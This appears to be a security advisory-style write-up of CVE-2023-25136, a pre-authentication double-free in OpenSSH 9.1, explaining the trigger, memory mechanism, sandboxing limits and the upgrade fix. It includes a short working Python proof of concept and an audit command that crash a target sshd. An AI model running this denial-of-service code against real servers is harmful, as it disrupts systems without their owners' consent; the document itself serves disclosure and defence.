CVSS 9.8 CVE-2023-25136

CVSS 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

OpenSSH server (sshd) 9.1 introduced a double-free vulnerability during options.kex_algorithms handling. This is fixed in OpenSSH 9.2. The double free can be leveraged, by an unauthenticated remote attacker in the default configuration, to jump to any location in the sshd address space.

One third-party report states “remote code execution is theoretically possible.”

Background: OpenSSH Compatibility Code

OpenSSH maintains a compat (compatibility) subsystem that detects the connecting client’s SSH implementation by inspecting its version string (sent as the first line of the SSH handshake, e.g., SSH-2.0-PuTTY_Release_0.64). Different SSH clients have historically had different quirks, non-standard behaviors, or bugs that OpenSSH works around via client-specific code paths.

The function compat_kex_proposal() applies these workarounds to the key exchange (kex) algorithm list before it is sent to the client. It takes the server’s default algorithm list and modifies it based on which client is connecting — for example, removing algorithms that a known-buggy client version handles incorrectly.

In OpenSSH 9.1, a bug was introduced in this function: under certain conditions, a pointer to an algorithm list string is freed twice (double-free). This is a pre-authentication code path — it executes during the initial key exchange, before the client has provided any credentials.

Why PuTTY_Release_0.64 Triggers the Vulnerability

The PoC exploit uses PuTTY_Release_0.64 as the client version string specifically because PuTTY 0.64 has known compatibility quirks that activate a specific code path in OpenSSH’s compat_kex_proposal(). When the server identifies a connecting client as PuTTY 0.64, it enters a branch that modifies the kex algorithm list in a way that triggers the double-free in the 9.1 implementation.

The vulnerability is in OpenSSH’s server code, not in PuTTY — PuTTY 0.64 is simply a version string that activates the vulnerable branch. Any SSH client (or custom script) can present this version string.

The Double-Free Mechanism

A double-free occurs when free() is called on the same memory address twice:

  1. compat_kex_proposal() allocates a new string (a modified kex algorithm list)

  2. It frees the original string

  3. Due to the bug in 9.1, the original string pointer is freed a second time in certain code paths

  4. The allocator’s internal metadata (the doubly-linked free-list) is corrupted

On a modern system with a secure allocator (e.g., OpenBSD’s malloc, or modern glibc with hardening), a double-free is typically detected and the process is killed immediately — resulting in a Denial of Service (DoS) of the sshd process.

On systems without hardened allocator protections, the corrupted free-list can potentially be exploited to write attacker-controlled data to arbitrary memory locations — which is why JFrog rated the theoretical CVSS at 9.8 (RCE possible).

OpenSSH itself considers RCE very unlikely because:

  • The vulnerability occurs in the unprivileged pre-auth process (sshd uses privilege separation: the vulnerable code runs in a sandboxed child process)

  • That process is subject to chroot(2) on most platforms

  • On Linux, it is further constrained by seccomp sandbox

Proof of Concept (DoS)

JFrog’s PoC triggers the double-free causing a DoS. The exploit works by:

  1. Opening a paramiko transport connection to the target sshd

  2. Presenting SSH-2.0-PuTTY_Release_0.64 as the client version string

  3. Initiating the key exchange — this causes the server to call compat_kex_proposal()

  4. The double-free occurs and sshd crashes (or is killed by the allocator)

import paramiko

VICTIM_IP = "127.0.0.1"
CLIENT_ID = "PuTTY_Release_0.64"

def main():
    transport = paramiko.Transport(VICTIM_IP)
    transport.local_version = f"SSH-2.0-{CLIENT_ID}"
    transport.connect(username='', password='')

if __name__ == "__main__":
    main()

Note

The username='' and password='' arguments are irrelevant — the double-free occurs during the key exchange phase, which completes before any authentication attempt. The transport.connect() call triggers the kex exchange and then fails (or the server crashes) before authentication proceeds.

SSH-MITM Audit Command

SSH-MITM has the PoC integrated as an audit command:

$ ssh-mitm audit CVE-2023-25136 --host 192.168.0.1
OK -> server seems vulnerable

Mitigation

Upgrade to OpenSSH 9.2 or later.

Release Notes 9.2

Note

fix a pre-authentication double-free memory fault introduced in OpenSSH 9.1. This is not believed to be exploitable, and it occurs in the unprivileged pre-auth process that is subject to chroot(2) and is further sandboxed on most major platforms.

References